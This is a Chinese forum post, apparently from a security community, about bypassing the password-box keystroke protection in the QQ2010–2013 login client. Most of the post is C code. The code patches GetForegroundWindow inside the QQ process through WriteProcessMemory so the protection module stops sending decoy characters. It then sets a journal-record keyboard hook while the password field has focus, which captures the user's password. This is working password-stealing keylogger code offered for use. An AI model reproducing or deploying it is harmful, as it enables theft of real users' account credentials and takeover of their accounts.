此法针对QQ2010-2013Beta3(也许以后的版本还有这个问题)都有效,因为我在发表该帖子之前搜索过看雪,有不少会员都在研究这个东西,其中不乏不断创建底层钩子的方法,也有分析出密码保护模块随机产生的干扰字符的,个人感觉都不是很靠谱~~怎么说呢,反正就是不靠谱吧
首先做一点知识的普及(用SPY++都可以分析出来,此自然段可以忽略不看):QQ2013 有一个驱动级的保护名曰QQProtect.sys,这玩意我没分析过,但是 在我写代码的过程中我发现有调试权限和管理员权限的程序都不可以对QQ进程CreateRemoteThread,自己写dll放到QQ目录下让它主动加载也会被识别出来~~~此外QQ登录框有两个QQ.exe进程,一个是登录框,一个是密码框(这俩东西是分开的,只不过那个密码框会随着登录框的移动而移动罢了),同时会有两个标题为“QQ2013”,类名为“TXGuiFoundation”的窗口,一个是隐藏的,一个是显示的,显示的那个窗口会在登录成功之后消失,隐藏的那个会在登录成功之后显示出来,但是登录成功之后窗口句柄会变,进程ID不变(也可能不叫显示出来吧,因为 句柄是会变的),对于那个密码框,密码框窗口标题每次都会变化,是大写字母随机变化的,密码框由3个窗口构成,顶端窗口类名为“Edit”,类名为大写字母随机,其父窗口没有标题,类名为“TXGuiFoundation”,父窗口的父窗口类名为“TXGFLayerMask”,还是没有标题
其次我们打开QQ登录框,然后自己写个钩子测试程序(全局键盘钩子,日志钩子 都OK),我们会发现一个很奇怪的问题->那就是当我们的光标锁定在密码框的时候密码保护模块才会发送干扰字符,其他所有情况均不会,那我们有没有发现什么问题没?也许你已经想到了,QQ内部就是通过某个API来判断密码框是否获取了输入焦点的,只要我们知道是通过哪个函数来判断的,然后HOOK那个函数就ok了。。。能有什么函数呢?这个 非GetForegroundWindow莫属
我们只要HOOK了GetForegroundWindow让QQ调用这个函数的之后 直接返回0就可以了,方法有很多,我们就找一个一般情况下会返回0的函数 AnyPopup来替换那个GetForegroundWindow函数好了,代码如下:
FARPROC GetFuncAddr()
{
HMODULE hModule=GetModuleHandle("user32.dll");
if(hModule)
return GetProcAddress(hModule,"AnyPopup");
else return 0;
}
void DisableKeyProtect(HWND h)//h为显示的那个QQ登录框窗口句柄
{
HWND hWin;
HANDLE hProcess;
DWORD ProcessId;
GetWindowThreadProcessId(h,&ProcessId);
hProcess=OpenProcess(0x1F0FFF,FALSE,ProcessId);
if(hProcess)
{
HMODULE hModule=GetModuleHandle("user32.dll");
if(hModule)
{
FARPROC oldAddr=GetProcAddress(hModule,"GetForegroundWindow");
FARPROC newAddr=GetFuncAddr();
unsigned int jmpAddr=(unsigned int)newAddr-(unsigned int)oldAddr-5;
char sBuffer[5];
sBuffer[0]=(char)0xE9;//0XE9为JMP,我想这里的大神应该都能看懂这部分代码的
CopyMemory(&sBuffer[1],&jmpAddr,4);
WriteProcessMemory(hProcess,oldAddr,sBuffer,5,NULL);
}
CloseHandle(hProcess);
}
}
bool isExistPasswordEdit()//Test OK
{
HWND hChild;
HWND hEdit;
hEdit=FindWindowEx(NULL,NULL,"TXGFLayerMask",NULL);
while(hEdit)
{
hChild=FindWindowEx(hEdit,NULL,NULL,NULL);
if(hEdit && hChild)return 1;
else
hEdit=FindWindowEx(NULL,hEdit,"TXGFLayerMask",NULL);
}
return 0;
}
HWND GetQQLoginWin() //如果存在登录窗口就返回登录窗口句柄
{
HWND hWin;
hWin=FindWindow("TXGuiFoundation","QQ2013");
if(hWin)
{
if(isExistPasswordEdit())
return hWin;
else return 0;
}
else return 0;
}
bool isFoucsOnPasswordEdit()
{
HWND hWin = GetForegroundWindow();
HWND hChild;
hChild=GetTopWindow(hWin);//GetParent(hWin);
char szhWinClassName[40],szhChildClassName[40];
ZeroMemory(szhWinClassName,40);
ZeroMemory(szhChildClassName,40);
GetClassName(hChild,szhChildClassName,40);
GetClassName(hWin,szhWinClassName,40);
if(!strcmp(szhWinClassName,"Edit") || !strcmp(szhChildClassName,"Edit"))
return true;
else return false;
}
HWND hQQLogin;
static bool f=true;//为了钩子不被设置多次而设置的一个标志
case WM_TIMER:
if(GetQQLoginWin() &&f )//如果发现QQ登录窗口
{
hQQLogin=GetQQLoginWin();
DisableKeyProtect(hQQLogin);//搞定密码保护
if(isFoucsOnPasswordEdit() )//如果密码框获取输入焦点则放置一个键盘钩子记录密码
{
LogHook=SetWindowsHookEx(WH_JOURNALRECORD,LogProc,ghInstance,NULL);
f=false;
}
if(!isFoucsOnPasswordEdit())
{
UnhookWindowsHookEx(LogHook);
f=true;
}
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!